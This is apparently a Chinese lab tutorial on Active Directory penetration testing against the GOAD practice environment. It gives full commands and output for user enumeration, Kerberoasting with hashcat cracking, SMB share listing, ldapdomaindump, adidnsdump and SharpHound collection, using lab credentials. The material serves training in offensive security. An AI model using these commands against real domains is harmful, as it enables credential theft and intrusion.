在上一篇 《GOAD 域渗透教程 1:内网扫描、域控识别与初始域用户获取》 中,我们已经拿到了第一批域用户。这一篇继续做域信息收集与凭据扩展,重点演示域用户枚举、Kerberoasting、主机信息收集、SMB 枚举、ADIDNS 枚举,以及用 BloodHound 梳理攻击路径。

这篇文章会学到什么

  • 如何在拿到一个域账户后快速枚举整套域用户与主机信息
  • 如何通过 Kerberoasting 获取可离线破解的服务票据
  • 如何使用 ldapdomaindump、adidnsdump 与 SMB 枚举补全攻击面
  • 如何借助 BloodHound 梳理域内横向与提权路径

获取用户列表

当我们在获取到一个域账户后,首先要做的事情就是获取用户列表。

impacket-GetADUsers

1
impacket-GetADUsers -all north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Querying 192.168.56.11 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2025-11-30 04:34:14.417277 2025-12-15 12:09:44.933841
Guest <never> <never>
vagrant 2021-05-12 07:39:16.765445 2025-12-22 09:50:15.293602
krbtgt 2025-11-30 04:51:04.250812 <never>
arya.stark 2025-11-30 06:11:39.441082 <never>
eddard.stark 2025-11-30 06:11:41.191046 2025-12-22 09:57:42.152696
catelyn.stark 2025-11-30 06:11:42.769169 <never>
robb.stark 2025-11-30 06:11:44.332172 2025-12-22 09:59:49.776900
sansa.stark 2025-11-30 06:11:45.909966 <never>
brandon.stark 2025-11-30 06:11:47.425431 2025-12-21 06:56:44.028014
rickon.stark 2025-11-30 06:11:48.925366 <never>
hodor 2025-11-30 06:11:50.394151 2025-12-21 06:56:44.042971
jon.snow 2025-11-30 06:11:51.879020 2025-12-07 07:46:10.688271
samwell.tarly 2025-11-30 06:11:53.363540 2025-12-20 09:56:59.286260
jeor.mormont 2025-11-30 06:11:54.847875 <never>
sql_svc 2025-11-30 06:11:56.269877 2025-12-20 09:19:55.407439

ldapsearch

关于 LDAP 查询,我推荐这篇文章:Useful LDAP queries for pentesting。里面基本把常用查询都列全了。

1
ldapsearch -H ldap://192.168.56.11 -D "samwell.tarly@north.sevenkingdoms.local" -w Heartsbane -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:'

使用 ldapsearch 查询域用户

通过ldap查询,我们也可以查询到其他域上的用户,因为存在域信任。

  • 查询 sevenkingdoms.local
1
ldapsearch -H ldap://192.168.56.10 -D "samwell.tarly@north.sevenkingdoms.local" -w Heartsbane -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName:'

跨域查询 sevenkingdoms.local 用户

Kerberoasting

在域中,经常能看到设置了SPN的用户

impacket-GetUserSPNs

我们可以用impacket来查找他们

1
impacket-GetUserSPNs -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/samwell.tarly:Heartsbane -outputfile kerberoasting.hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------------------------- ----------- ---------------------------------------------------------- -------------------------- -------------------------- -----------
HTTP/eyrie.north.sevenkingdoms.local sansa.stark CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2025-11-30 06:11:45.909966 <never>
CIFS/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2025-11-30 06:11:51.879020 2025-12-07 07:46:10.688271 constrained
HTTP/thewall.north.sevenkingdoms.local jon.snow CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local 2025-11-30 06:11:51.879020 2025-12-07 07:46:10.688271 constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local sql_svc 2025-11-30 06:11:56.269877 2025-12-20 09:19:55.407439
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 sql_svc 2025-11-30 06:11:56.269877 2025-12-20 09:19:55.407439



[-] CCache file is not found. Skipping...

这样就把哈希保存到了 kerberoasting.hashes

使用hashcat破解

1
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force

使用 hashcat 破解 Kerberoasting 哈希

获取机器名和系统信息

众所周知,Windows 偶尔会冒出一些“看见版本就想打”的洞,比如 MS17-010。所以在域里把机器名、系统版本、补丁代际先摸清楚,始终是很值得做的。

枚举主机名与系统信息

不走运的是,我们这个域内没有任何的低版本系统(在实验环境里面肯定没有啊,想啥呢,真正的域里面就看你运气咯。)

SMB枚举

1
nxc smb 192.168.56.0/24 -u jon.snow -p iknownothing --shares

使用 SMB 枚举共享

实验环境还是啥都没有,真实域环境有时候也会获取到一些有用的文档。

全都要:ldapdomaindump

上面说的域信息,除了SMB枚举外,基本上用ldapdomaindump都能查询。

1
ldapdomaindump -u 'NORTH.SEVENKINGDOMS.LOCAL\samwell.tarly' -p Heartsbane -o NORTH.SEVENKINGDOMS.LOCAL 192.168.56.11

使用 ldapdomaindump 导出域信息

adidnsdump

再补一点 ldapdomaindump 查不到的内容:我们可以把 computer name 和 IP 对上,便于后续做更有针对性的攻击。

这个工具同样是 dirkjanm 写的:adidnsdump

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/adidnsdump/adidnsdump]
└─$ python3 dnsdump.py -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 8 records, saving to records.csv

BloodHound

最后提一下非常常用的图形化分析工具 BloodHound。

1
2
3
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

用 SharpHound 收集完数据后,直接导入 BloodHound 即可。

如果你想深入查看BloodHound,我推荐以下文章,其中包含大量有用的信息和查询:

本文主要参考了 MayFly 的思路。